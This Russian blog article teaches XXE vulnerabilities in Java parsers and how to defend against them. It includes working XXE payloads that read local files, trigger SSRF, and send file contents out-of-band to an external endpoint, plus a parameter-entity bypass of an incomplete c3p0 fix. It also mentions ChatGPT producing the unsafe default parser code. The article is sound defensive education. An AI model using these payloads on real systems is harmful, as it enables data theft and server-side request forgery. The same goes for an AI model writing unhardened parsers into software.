В этой статье мы рассмотрим дефект безопасности XXE в контексте Java. Поговорим о причинах возникновения и возможных последствиях, посмотрим на примеры и, конечно, обсудим способы защиты. 

Начнём с примера. Он синтетический, но зато легко позволит понять суть проблемы. 

Примечание. Примеры из статьи тестировались на OpenJDK 21.0.8.

Допустим, есть следующий код для парсинга настроек в формате XML:

public static void processSettings(InputStream settingsStream) {
  ...
  DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
  DocumentBuilder builder = factory.newDocumentBuilder();
  Document document = builder.parse(settingsStream);
  ...
  var licenseKey = getLicenseKey(document);
  if (!isKeyValid(licenseKey)) {
    reportError(String.format("'%s' license key is not valid.", licenseKey));
    ...
  }
  ...
}

Логика следующая:

  • создаётся XML-парсер;

  • он разбирает настройки, для чтения которых используется поток settingsStream;

  • дальше идёт проверка лицензионного ключа из настроек, и, если ключ не валидный — сообщение об этом выдаётся пользователю.

Если передать настройки, ключ в которых пройдёт проверку isKeyValid(), — ожидаемо не получим вывода. Пример такого файла:

<?xml version="1.0" encoding="utf-8"?>
<AppSettings>
  <!-- ... -->    
  <LicenseKey>A123-B456-C789</LicenseKey>
  <!-- ... -->
</AppSettings>

Теперь передадим файл с невалидным ключом:

<?xml version="1.0" encoding="utf-8"?>
<AppSettings>
  <!-- ... -->    
  <LicenseKey>Obviously not a valid key</LicenseKey>
  <!-- ... -->
</AppSettings>

И получим ожидаемый вывод:

'Obviously not a valid key' license key is not valid.

А теперь передадим XML-файл следующего вида:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE AppSettings [
    <!ENTITY xxe SYSTEM "file:///etc/hosts" >
]>
<AppSettings>
  <!-- ... -->    
  <LicenseKey>&xxe;</LicenseKey>
  <!-- ... -->
</AppSettings>

Выглядит более необычно, но всё ещё является валидным XML-файлом. Вывод:

'##
# Host Database
#
# localhost is used to configure the loopback interface
# when the system is booting.  Do not change this entry.
##
127.0.0.1	localhost
255.255.255.255	broadcasthost
::1             localhost
' license key is not valid.

Можно заметить, что:

  • формат сообщения об ошибке — "'%s' license key is not valid." — соблюдён;

  • при этом вместо лицензионного ключа было подставлено содержимое файла /etc/hosts.

То, что мы увидели — и есть XXE: XML-парсер считал прописанный в файле путь, и отдал содержимое этого файла наружу. 

Забавно поэкспериментировать с такими вещами на локальной машине. Однако если  'опасный' парсинг происходит на удалённом сервере, а злоумышленник может подобным образом вытаскивать информацию с сервера наружу — приятного становится мало. Более того, можно обращаться не только к файлам, но и, например, к сетевым ресурсам, открывая возможность для других атак (SSRF). Впрочем, об этом мы поговорим чуть позже — сейчас остановимся именно на сути XXE.

XXE-инъекция (часто сокращается до XXE — акронима от XML eXternal Entities) — тип атаки на приложение, которое работает с данными в формате XML и основанными на нём. Например, XXE может эксплуатироваться при обработке SVG — формата векторных изображений — так как он также основан на XML.           

XXE упоминается в различных перечнях дефектов безопасности, таких как CWE и OWASP Top 10:

  • CWE-611: Improper Restriction of XML External Entity Reference

  • OWASP Top 10:2021 — A05:2021 Security Misconfiguration (является подкатегорией)

  • OWASP ASVS 5.0.0 — V1.5 Safe Deserialization:

    • 1.5.1: Verify that the application configures XML parsers to use a restrictive
      configuration and that unsafe features such as resolving external entities are
      disabled to prevent XML eXternal Entity (XXE) attacks.

    • DTD validation should not be used, and framework DTD evaluation should be disabled, to avoid issues with XXE attacks against DTDs.

Если говорить о возможных рисках, можно выделить следующие:

  • утечки данных. На примере мы уже видели, что с помощью XXE можно попробовать прочитать и "вытащить" содержимое файлов. Более того — способы эксплуатации есть более изощрённые (с передачей содержимого как части HTTP/FTP-запроса) — пока что мы рассмотрели самый тривиальный;

  • SSRF (Server-Side Request Forgery). С помощью XXE можно заставить XML-парсер выполнять сетевые запросы от имени сервера (что уже само по себе опасно) с потенциальной возможностью раскрутить эту проблему безопасности дальше;

  • репутационные. Вряд ли кто-то будет рад оказаться в базах уязвимостей, типа CVE, NVD, GHAD и т. п.

Как же возникает XXE? Есть две обязательные составляющие:

  • небезопасно настроенный XML-парсер;

  • опасные данные. 

Соответственно, если парсер настроен правильно, проблемы не будет, даже если он обрабатывает опасные данные. Обратное также верно: если опасно сконфигурированный парсер обрабатывает безопасные данные, проблемы не возникнет. 

Отсюда вытекают два вопроса, которые нам и предстоит разобрать:

  •  что собой представляют опасные данные?

  • какие XML-парсеры опасны?

Разберём каждый из пунктов. 

Опасные XML-файлы

Опасные XML-файлы строятся на использовании внешних сущностей XML — XML external entities — от которых и происходит название дефекта безопасности. 

Разберём пример XML из начала статьи, чтобы лучше понять, что там происходило:

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE example [
  <!ENTITY extEntity SYSTEM "file:///etc/hosts">
]>
<example>&extEntity;</example>

Самое интересное для нас здесь — DTD (Document Type Definition) с объявлением внешней сущности extEntity.

DTD (секция <!DOCTYPE>) позволяет объявлять XML-сущности. При этом сущности могут быть:

  • внутренними;

  • внешними (general external entities);

  • параметризованными (parameter external entities).

Внутренние сущности в этой статье разбирать не будем. Хотя отметим, что через них тоже можно эксплуатировать дефекты безопасности. Делается это через создание XML-бомб — файлов, где внутренние сущности раскрываются друг через друга. XML-парсеры, разбирающие подобные файлы, начинают потреблять большое количество ресурсов, что может привести к DoS (Denial of Service).

General external entities

Начнём с general external entities. Для простоты будем называть их "внешними сущностями".

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE example [
  <!ENTITY extEntity SYSTEM "file:///etc/hosts">
]>
<example>&extEntity;</example>

Здесь объявлена внешняя сущность extEntity, определённая через файл /etc/hosts. Когда парсер встретит использование этой сущности — &extEntity;, то подставит вместо неё содержимое файла /etc/hosts.

Важный момент, на который стоит обратить внимание — сущность определяется внутри <!DOCTYPE>, но используется уже в самом теле XML. 

Сущность может указывать не только на файл, но и на директорию. В таком случае результатом её использования будет содержимое указанной директории.

Пример кода и XML:

String xml = "<?xml version=\"1.0\" encoding=\"utf-8\" ?>\n" +
"<!DOCTYPE example [\n" +
"  <!ENTITY extEntity SYSTEM \"file:///Users/username/xxe-demo-folder\">\n" +
"]>\n" +
"<example>&extEntity;</example>\n";

DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = factory.newDocumentBuilder();
Document document = builder.parse(new ByteArrayInputStream(xml.getBytes()));

System.out.println(document.getDocumentElement().getTextContent());

Содержимое соответствующей директории:

В результате исполнения кода получаем ожидаемый вывод — XML-парсер подставит вместо сущности содержимое директории:

.DS_Store
app.config
deps.json
dist
target.info

Более интересно, что значением сущности могут быть не только внутренние ресурсы, но и внешние. Рассмотрим этот момент подробнее.

Создадим удалённую точку доступа. Для демо можно использовать сервис beeceptor.com или настроить эндпоинты другим удобным способом. 

Примечание. Если используете beeceptor — учтите, что точки доступа на нём публично доступные / редактируемые.

Допустим, у нас есть эндпоинт... /endpoint. На запрос он будет возвращать простое текстовое сообщение, которое будем расценивать как флаг успешного проведения XXE — XXE confirmed.

Рассмотрим фрагмент кода.. Он аналогичен примеру вышей с той разницей, что значением сущности будет путь до эндпоинта:

String xml = "<?xml version=\"1.0\" encoding=\"utf-8\" ?>\n" +
"<!DOCTYPE example [\n" +
"  <!ENTITY extEntity SYSTEM \"https://xxe-...free.beeceptor.com/endpoint\">\n" +
"]>\n" +
"<example>&extEntity;</example>\n";

DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = factory.newDocumentBuilder();
Document document = builder.parse(new ByteArrayInputStream(xml.getBytes()));

System.out.println(document.getDocumentElement().getTextContent());

В результате выполнения этого кода XML-парсер выполнит запрос к указанному эндпоинту и подставит в качестве значения сущности полученное значение. То есть вывод кода будет следующим:

XXE confirmed

При этом со стороны beeceptor.com, на котором мы и настроили эндпоинт, увидим пришедший запрос:

Ещё раз подчеркну основной момент из примера выше, который часто является неожиданным для тех, кто не знаком с XXE: опасные XML-парсеры могут выполнять сетевые запросы при обработке скомпрометированных XML-файлов. Со всеми вытекающими последствиями.

Parameter external entities

Выше мы говорили, что существуют не только general external entities, но и parameter external entities. Пришло время познакомиться с ними. Не будем углубляться в тонкости, однако отметим, что, пожалуй, самые интересные атаки строятся как раз на основе parameter entities.

Что же такое "параметризованные сущности"? Рассмотрим XML с их объявлением:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE example [
  <!ENTITY % paramEntity SYSTEM "https://...">
  %paramEntity;
]>
<example></example>

В отличии от "классических" внешних сущностей параметризованные объявляются и используются с помощью символа %. Ещё одно отличие — параметризованные сущности используются прямо в DTD или выступают как части других сущностей, в то время как "классические" используются в теле самого XML:

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE example [
  <!ENTITY extEntity SYSTEM "https://... ">
]>
<example>&extEntity;</example>

При использовании параметризованных сущностей есть ряд ограничений, но это тема отдельного разговора. В первом приближении они не очень очевидны, и лучший вариант разобраться с ними — самостоятельно поэкспериментировать с параметризованными сущностями. 

Рассмотрим на примере, для чего могут использоваться параметризованные сущности.

Допустим, у нас есть всё тот же код с опасным XML-парсером, выполняющим разбор небезопасных данных. Но в этот раз никакого явного возврата значения после разбора XML не будет. 

Если модифицировать изначальный пример с лицензиями — получится что-то такое:

public static void processSettings(InputStream settingsStream) {
  ...
  DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
  DocumentBuilder builder = factory.newDocumentBuilder();
  Document document = builder.parse(settingsStream);

  ...
  var licenseKey = getLicenseKey(document);
  if (!isKeyValid(licenseKey)) {
    // reportError(String.format("'%s' license key is not valid.", 
    //                          licenseKey));
    // Processing without error reporting
    ...
  }
  ...
}

Результат разбора XML пользователю не возвращается. Можно ли в таком случае прочитать содержимое файла? Ответ — можно (хоть здесь и появляется большее количество ограничений).

Мы попробуем отправить содержимое файла... на эндпоинт.

Давайте немного упростим код, сделаем его более синтетическим и удобным для тестирования:

DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = factory.newDocumentBuilder();
Document document = builder.parse(new ByteArrayInputStream(xml.getBytes()));

// No any output

Никакого вывода — только парсинг. 

Теперь сделаем несколько допущений, которые сильно упростят нам задачу (для демо — простительно):

  • мы знаем путь до файла, содержимое которого хотим получить;

  • файл однострочный и не содержит спец. символов. 

Информация по файлу:

  • путь: /Users/username/Projects/xxe-demo-folder

  • содержимое: Answer to the Ultimate Question of Life, the Universe, and Everything is 42

Теперь подготовим XML-файлы. 

Основной, который будем отдавать приложению:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE r [
  <!ELEMENT r ANY>
  <!ENTITY % extDTD SYSTEM "https://xxe-...free.beeceptor.com/externalDTD" >
  %extDTD;
  %param;
  %query;
]>

Параметризованная сущность extDTD ссылается на контролируемый нами ресурс. После выполнения запроса вместо %extDTD; будет подставлено значение, возвращённое при обращении по эндпоинту /externalDTD. Таким образом мы введём в DTD сущности param и query

Содержимое, которое будет возвращаться при запросе по /externalDTD:

<!ENTITY % file SYSTEM 
           "file:///Users/username/Projects/xxe-demo-folder/target.info">
<!ENTITY % param "<!ENTITY &#x25; query SYSTEM 
           'https://xxe-...free.beeceptor.com/xxe_endpoint?data=%file;'>">

Здесь мы вводим в область видимости несколько сущностей, встречавшихся ранее:

  • file — путь до файла, который мы хотим "вытащить". В месте использования будет подставлено содержимое файла;

  • param — при использовании введёт в область видимости новую сущность — query;

  • query — при использовании обратится к эндпоинту /xxe_endpoint. Обратите внимание, что в запросе используется сущность file (?data=%file;), то есть содержимое файла будет частью запроса. 

После подстановки сущности extDTD и использования сущности исходный XML:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE r [
  <!ELEMENT r ANY>
  <!ENTITY % extDTD SYSTEM "https://xxe-...free.beeceptor.com/externalDTD" >
  %extDTD;
  %param;
  %query;
]>

Превратится во что-то такое:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE r [
  <!ELEMENT r ANY>
  <!ENTITY % extDTD SYSTEM "https://xxe-...free.beeceptor.com/externalDTD" >
  <!ENTITY % file SYSTEM "file:///Users/username/Projects/xxe-demo-folder/target.info">
  <!ENTITY % query SYSTEM 'https://xxe-...free.beeceptor.com/xxe_endpoint?data=%file;'>
  %query;
]>

Дальше — парсер обрабатывает вызов %query;, выполняя запрос, частью которого выступает содержимое файла. 

Со стороны эндпоинта /xxe_endpoint видим пришедший запрос: 

/xxe_endpoint?data=Answer%20to%20the%20Ultimate%20Question%20of%20Life,%20the%20Universe,%20and%20Everything%20is%2042

То, что мы сейчас видели, называется OOB XXE (Out-of-Band XML eXternal Entity). С помощью таких XXE-атак можно извлекать с атакуемой машины информацию, даже если результат разбора XML не возвращается явным образом. 

Понятно, что OOB XXE-атаки проводить намного сложнее. Кроме того, легко наткнуться на ограничения по извлекаемым файлам: спецсимволы (например, символы переноса строк) и т. п. 

В примере выше мы использовали DocumentBuilder для парсинга XML. При обращении к внешнему ресурсу парсер доходит до использования HttpsURLConnectionImpl, внутри которого происходит проверка URL:

static URL checkURL(URL u) throws IOException {
  if (u != null) {
    if (u.toExternalForm().indexOf('\n') > -1) {
      throw new MalformedURLException("Illegal character in URL");
    }
  }
  String s = IPAddressUtil.checkAuthority(u);
  if (s != null) {
    throw new MalformedURLException(s);
  }
  return u;
}

Соответственно, при обработке сущности с запросом вида .../xxe_endpoint?data=%file; где %file; — содержимое многострочного файла, метод checkURL выкинет исключение, встретив символ \n. Можно найти рекомендации для проведения атаки использовать ftp:// вместо http:// и https://, но в современных реализациях FtpURLConnection также есть защита:

static URL checkURL(URL u) throws IllegalArgumentException {
  if (u != null) {
    if (u.toExternalForm().indexOf('\n') > -1) {
      Exception mfue = new MalformedURLException("Illegal character in URL");
      throw new IllegalArgumentException(mfue.getMessage(), mfue);
    }
  }
  ...
}

Тем не менее, сама атака с возможностью SSRF всё ещё остаётся реальна, так что стоит быть внимательнее. 

Опасные XML-парсеры

Мы выяснили, что опасные XML-данные строятся на использовании внешних сущностей. Теперь переходим к парсерам — какие же XML-парсеры являются опасными? Не поверите, но... те, которые обрабатывают внешние XML-сущности. :)

При работе с XML-парсером стоит учитывать следующие моменты:

  • обрабатывает ли он DTD?

  • обрабатывает ли внешние сущности?

  • обрабатывает ли параметризованные сущности?

Отдельный вопрос — какие из перечисленных настроек заданы в парсере по умолчанию. Если полистать GitHub Advisory Database на предмет XXE в Java-проектах (фильтры по CWE-611 и сборочной системе Maven), можно заметить интересную особенность — многие дефекты безопасности связаны с парсерами из "коробки". И вероятность наступить на грабли достаточно высока, если:

  • используются XML-парсеры с настройками по умолчанию;

  • разработчик не знает, что им нужно специально выставлять безопасную конфигурацию. 

Согласитесь, если не знать о специфике XXE, вряд ли в голову придёт мысль в духе: "Ага, мне нужно выключить обработку XML-парсером внешних сущностей, чтобы злоумышленник не смог выполнить SSRF". Слишком неочевидно. 

Ради интереса попросим ChatGPT написать код для парсинга XML-файлов. Получаем уже хорошо знакомый нам фрагмент:

DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = factory.newDocumentBuilder();
Document document = builder.parse(inputFile);

Как мы уже знаем, такой подход к парсингу XML опасен.

Причём, если задать ChatGPT прямой вопрос по поводу безопасности, он подтвердит, что парсер опасен, хотя изначально ничего об этом не упоминает:

Но чтобы прояснить у ChatGPT этот момент, нужно о нём знать — верно? А из коробки имеем, что имеем — код, который может "выстрелить".

Проблема актуальна не только для DocumentBuilder — с SAX-парсерами ситуация аналогична. Пример опасного кода:

String xml = "<?xml version=\"1.0\" encoding=\"utf-8\" ?>\n" +
   "<!DOCTYPE r [\n" +
   "  <!ENTITY % param SYSTEM \"https://xxe-...demo.free.beeceptor.com/xxe_endpoint?whatis=sax-param-xxe\">\n" +
   "  %param;\n" +
   "]>\n" +
   "<r></r>\n";

SAXParserFactory factory = SAXParserFactory.newInstance();
SAXParser saxParser = factory.newSAXParser();

var handler = new DefaultHandler() {
   // do something
};

saxParser.parse(new InputSource(new StringReader(xml)), handler);

В результате разбора XML SAXParser выполнит запрос, который можно отследить со стороны /xxe_endpoint.

Хочется отметить ещё один важный момент: SAXParserFactoryDocumentBuilderFactory скрывают конкретные экземпляры парсеров за абстрактными типами SAXParser и DocumentBuilder. В зависимости от конкретных реализаций фабрик и парсеры могут быть безопасными. Однако более вероятно обратное. Всё это порождает только ещё больше путаницы.

Обобщая, опасны те XML-парсеры, которые:

  • парсят DTD;

  • обрабатывают:

    • external general entities;

    • external parameter entities.

Соответственно, чтобы обезопасить парсер, нужно выключать процессинг DTD, а порой — и не только. Если DTD всё же нужен, следует максимально ограничивать обработку сущностей. 

Рекомендации по безопасному конфигурированию XML-парсеров можно посмотреть в статье OWASP XML External Entity Prevention Cheat Sheet. Там приведён неплохой сборник безопасных настроек как разных парсеров для Java, так и других языков.

Выше мы неоднократно смотрели на DocumentBuilder — как сделать его безопасным? 

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
String FEATURE = "http://apache.org/xml/features/disallow-doctype-decl";
dbf.setFeature(FEATURE, true);
dbf.setXIncludeAware(false);
...

Теперь при попытке разобрать XML с использованием внешних сущностей, получим исключение:

[Fatal Error] :2:10: DOCTYPE is disallowed when the feature "http://apache.org/xml/features/disallow-doctype-decl" set to true.
org.xml.sax.SAXParseException; lineNumber: 2; columnNumber: 10; DOCTYPE is disallowed when the feature "http://apache.org/xml/features/disallow-doctype-decl" set to true.

Аналогичным образом можно выставить настройки и для SAXParser:

factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
factory.setXIncludeAware(false);

С такими настройками парсер выбросит исключение, когда при попытке обработки внешней сущности:

org.xml.sax.SAXParseException; lineNumber: 4; columnNumber: 10; 
External Entity: Failed to read external document 'xxe_endpoint?whatis=sax-param-xxe', because 'https' access is not allowed due to restriction set by the accessExternalDTD property.

Совет в целом — лучше отключить чуть больше возможностей разбора XML, чем чуть меньше, и оставить потенциальную лазейку злоумышленникам. И давайте посмотрим, почему. 

c3p0: CVE-2018-20433

Рассмотрим пример реальной уязвимости, найденной в форке проекта c3p0 (хотя в оригинале она также была): 

Мы говорили, что нужно быть аккуратными с настройками XML-парсеров по умолчанию. Не менее аккуратными стоит быть с внешними библиотеками, которые проводят парсинг XML — не факт, что они не обрабатывают внешние сущности. 

Как проверим наличие проблемы? Передадим библиотеке вредоносный XML, в котором объявим сущность с обращением к нашему эндпоинту. Со стороны эндпоинта будем следить за запросами — если пришёл, значит парсер обработал XML-сущности, и нам удалось выполнить XXE.

Проблемный метод — C3P0ConfigXmlUtils.extractXmlConfigFromInputStream. Вызовем его, передав вредоносный XML:

var filePath = "/path/to/xxe.xml";
InputStream xmlConfigStream = new FileInputStream(filePath);
var config = C3P0ConfigXmlUtils.extractXmlConfigFromInputStream(xmlConfigStream);

В xxe.xml объявляем внешнюю сущность через наш ресурс:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE c3p0-config [
  <!ENTITY xxe SYSTEM 
           "https://xxe-...free.beeceptor.com/c3p0-endpoint?whatis=xxetest">
]>
<c3p0-config>&xxe;</c3p0-config>

Выполняем код, и... видим на нашем эндпоинте запрос. Значит, XXE сработала. 

Давайте посмотрим, что находится под капотом разбора конфига — взглянем на код extractXmlConfigFromInputStream:

public static C3P0Config 
extractXmlConfigFromInputStream(InputStream is) throws Exception {
  DocumentBuilderFactory fact = DocumentBuilderFactory.newInstance();
  DocumentBuilder db = fact.newDocumentBuilder();
  Document doc = db.parse(is);

  return extractConfigFromXmlDoc(doc);
}

Что мы видим? Используется DocumentBuilderFactory с настройками по умолчанию. Мы уже знаем, настройки по умолчанию для DocumentBuilderFactory — опасные, так как разрешают обработку DTD и внешних сущностей. Отсюда и последствия. 

В версии 0.9.5.3 этот код поправили:

public static C3P0Config 
extractXmlConfigFromInputStream(InputStream is, boolean expandEntityReferences) 
throws Exception {
  DocumentBuilderFactory fact = DocumentBuilderFactory.newInstance();
  
  fact.setExpandEntityReferences(expandEntityReferences);
  
  DocumentBuilder db = fact.newDocumentBuilder();
  Document doc = db.parse(is);
  
  return extractConfigFromXmlDoc(doc);
}

Теперь при разборе конфига нужно явно указывать — раскрывать ли внешние сущности. За это отвечает параметр expandEntityReferences. Соответствующим образом меняется конфигурация и DocumentBuilderFactory.

Протестируем!

Наш вызов слегка изменяется — добавляется второй параметр:

var config 
  = C3P0ConfigXmlUtils.extractXmlConfigFromInputStream(xmlConfigStream, false);

Передадим тот же XML-файл, что и в прошлый раз. 

В результате исполнения кода никаких исключений не выбрасывается, но и на сервер запрос не приходит:

A screenshot of a web page  AI-generated content may be incorrect.

Выходит, защита сработала? Похоже на то! Однако  у нас же ещё есть параметризованные сущности. Попробуем использовать их.

Поменяем XML, который будем передавать на вход, заменив обычные внешние сущности на параметризованные. Также заменим значение параметра whatis:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE c3p0-config [
    <!ENTITY % xxe SYSTEM
      "https://xxe-...free.beeceptor.com/c3p0-endpoint?whatis=xxe_param_test">
    %xxe;
]>
<c3p0-config></c3p0-config>

Отдаём на парсинг этот файл, и видим, что запрос снова прошёл!

Выходит, защитились недостаточно. Это как раз к разговору о том, что лучше отключить больше возможностей парсинга, чем меньше. 

В версии v0.9.5.5 код поменяли ещё раз, он стал выглядеть так:

public static C3P0Config 
extractXmlConfigFromInputStream(InputStream is, boolean usePermissiveParser) 
throws ... {
  DocumentBuilderFactory fact = DocumentBuilderFactory.newInstance();

  if (!usePermissiveParser) {
    cautionDocumentBuilderFactory(fact);
  }

  DocumentBuilder db = fact.newDocumentBuilder();
  Document doc = db.parse(is);
  
  return extractConfigFromXmlDoc(doc);
}

Пользователю всё так же через параметр нужно указать, насколько безопасный парсер использовать. Настройками теперь занимается метод cautionDocumentBuilderFactory:

private static void 
cautionDocumentBuilderFactory(DocumentBuilderFactory dbf) {
  attemptSetFeature(
    dbf, 
    "http://apache.org/xml/features/disallow-doctype-decl", 
    true);
  attemptSetFeature(
    dbf, 
    "http://xerces.apache.org/xerces-j/features.html#external-general-entities", 
    false);
  attemptSetFeature(
    dbf, 
    "http://xerces.apache.org/xerces2-j/features.html#external-general-entities", 
    false);
  attemptSetFeature(
    dbf, 
    "http://xml.org/sax/features/external-general-entities", 
    false);
  attemptSetFeature(
    dbf, 
    "http://xerces.apache.org/xerces-j/features.html#external-parameter-entities", 
    false);
  attemptSetFeature(
    dbf, 
    "http://xerces.apache.org/xerces2-j/features.html#external-parameter-entities", 
    false);
  attemptSetFeature(
    dbf, 
    "http://xml.org/sax/features/external-parameter-entities", 
    false);
  attemptSetFeature(
    dbf, 
    "http://apache.org/xml/features/nonvalidating/load-external-dtd", 
    false);
  dbf.setXIncludeAware(false);
  dbf.setExpandEntityReferences(false);
}

В этот раз метод отключает и DTD, и внешние сущности, и параметризованные, и даже немного больше. Всё по заветам OWASP, и даже немного сверху.

Теперь при попытке распарсить XML с объявлением внешних сущностей, XML-парсер выбросит исключение:

[Fatal Error] :2:10: DOCTYPE is disallowed when the feature "http://apache.org/xml/features/disallow-doctype-decl" set to true.
org.xml.sax.SAXParseException; lineNumber: 2; columnNumber: 10; DOCTYPE is disallowed when the feature "http://apache.org/xml/features/disallow-doctype-decl" set to true.

Вывод — лучше отключить немного больше настроек парсинга, чем немного меньше.

Защита от XXE

Мы говорили о защите от XXE в контексте парсеров. Повторим и дополним. 

Настраивайте XML-парсеры безопасным образом

Чем сильнее будет ограничен XML-парсер, тем лучше с точки зрения безопасности:

  • отключайте обработку DTD;

  • если DTD нужен — отключайте обработку XML-сущностей;

  • если отключаете обработку внешних XML-сущностей, не забывайте выключить как general external entities, так и parameter external entities;

  • если внешние сущности обрабатывать всё же нужно, проверяйте, что и как обрабатываете. 

Особое внимание уделяйте XML-парсерам с настройками по умолчанию, так как в Java парсеры с настройками по умолчанию часто опасны.

Рекомендации по работе с конкретными XML-парсерами собраны на странице XML External Entity Prevention Cheat Sheet

Используйте SAST-решения

SAST-инструменты (Static Application Security Testing) проводят анализ кода без его исполнения и также могут помочь в детекте потенциальных XXE. 

Для поиска XXE анализаторы используют taint-анализ, который отслеживает попадание "недоверенных" данных в приложение, их распространение и возможности попадания в "стоки". 

При этом:

  • "недоверенными" считаются те данные, которые попадают в приложение извне и, как следствие, могут быть быть использованы для эксплуатации дефектов безопасности. Примеры "недоверенных данных" — содержимое файлов, пользовательский ввод и т.п.;

  • "стоки" — точки приложения, которые могут привести к возникновению дефекта безопасности, при попадании в них опасных данных.  

Это отлично ложится на те знания об XXE, которые мы получили ранее:

  • "недоверенные" данные -> опасные XML;

  •  "стоки" -> опасные XML-парсеры.

Если SAST отследит, что данные пришли из внешнего окружения и разбираются  опасным XML-парсером, то должен выдать предупреждение о возможной XXE.

A red arrow pointing to a line  AI-generated content may be incorrect.

Понятно, что область применения SAST-решений не ограничивается одним только поиском XXE, но как частный случай противодействия проблеме — вполне может использоваться. 

Используйте SCA-решения

SCA-решения (Software Composition Analysis) ищут используемые приложением компоненты с уязвимостями. Так как сложно представить современное приложение, не использующее внешних библиотек, вопрос их безопасности также становится актуальным. При этом важно знать об уязвимостях не только в прямых зависимостях (используемых приложением напрямую), но и транзитивных (зависимостей, которые используются зависимостями). 

SCA-решения закрывают эту нишу — предупреждают об использовании опасных библиотек, пакетов и т. п. 

Пример из этой статьи, который может быть закрыт SCA-решением — использование уязвимых версий c3p0.

Выстраивайте процессы безопасной разработки

Мы упомянули SAST и SCA в контексте защиты от XXE. Поиск потенциальных проблем с XXE — это очень частные случаи использования этих инструментов. При выборе SAST и SCA нужно отталкиваться от экосистемы проекта (или скорее проектов), используемых языков, стоимости, скорости работы, удобства интеграции и т. п.

Более того, для полноценной защиты (от XXE, в частности) нужно выстраивать процессы безопасной разработки, SAST, SCA использовать вместе, а ещё прикрутить какой-нибудь WAF (Web Application Firewall) для анализа поступающих запросов и защиты от потенциальных XXE, пропущенных SAST и SCA.

Итоги

Мы кратко разобрали XXE в контексте Java, причины появления подобных дефектов безопасности и способы борьбы с ними. 

Не забывайте проверять точки парсинга XML и следите за тем, какие парсеры используются. Особое внимание — внешним парсерам и парсерам с настройками по умолчанию.

Если захочется посмотреть на большее количество реальных уязвимостей в Java приложениях — советую полистать GitHub Advisory Database с фильтрами по Maven и CWE-611 (ссылка). Из интересного — в базе уже есть XXE от 2025 года — свежачок.

A screenshot of a computer  AI-generated content may be incorrect.

Часто записи из GitHub Advisory Database сопровождаются ссылками на исходный код проекта и на фикс уязвимости. Порой в ссылке на issue или в самой записи можно найти и POC. Всё это помогает лучше вникнуть в тему и разобраться с сутью проблемы. 

Так что — удачи в дальнейшем изучении, и безопасного кода!

Примечание от команды Axiom JDK

В реальных продуктах картина может быть безопаснее, чем выглядит в учебных примерах.

В Axiom JDK вопросам безопасной обработки XML уделяется внимание уже на стадии проектирования решений. Например, в сервере приложений Libercat изначально реализованы меры защиты от распространённых атак, включая XXE.

Один из результатов регулярных проверок, которые проводят наши специалисты по безопасности, — подтверждение того, что в SOAP-интерфейсах Libercat по умолчанию блокируется использование DTD в XML-документах. Это означает, что попытка отправить вредоносный XML с внешними сущностями не приведёт к обработке запроса на сервере.

Разумеется, безопасность требует комплексного подхода и анализа всех XML-источников, но это хороший пример того, как зрелые платформы стремятся минимизировать риски на архитектурном уровне. А вот при разработке “на чистой Java” без использования зрелых библиотек вероятность попасть на XXE-грабли действительно выше.

Комментарии (4)


  1. tuxi
    06.08.2025 17:16

    Красивая дырочка. Спасибо за статью. На первой половине читал и думал, как хорошо, что в основном SAX используем, но дочитал до половины и оппа. SAX там же.


    1. SergVasiliev Автор
      06.08.2025 17:16

      Рад, всегда пожалуйста :)


  1. Alex283
    06.08.2025 17:16

    Хорошая статья. Но вопросы не к XML - парсеру, а к файловой системе unix, а особенно к ее виртуальной части. Когда-то это было единственно хорошее решение для 60-х годов, когда не была хороших механизмов передачи информации между процессами, но держать за эту идею в течение 60 лет, как будто ничего не меняется - это уже маразм.


    1. SergVasiliev Автор
      06.08.2025 17:16

      Спасибо за оценку :)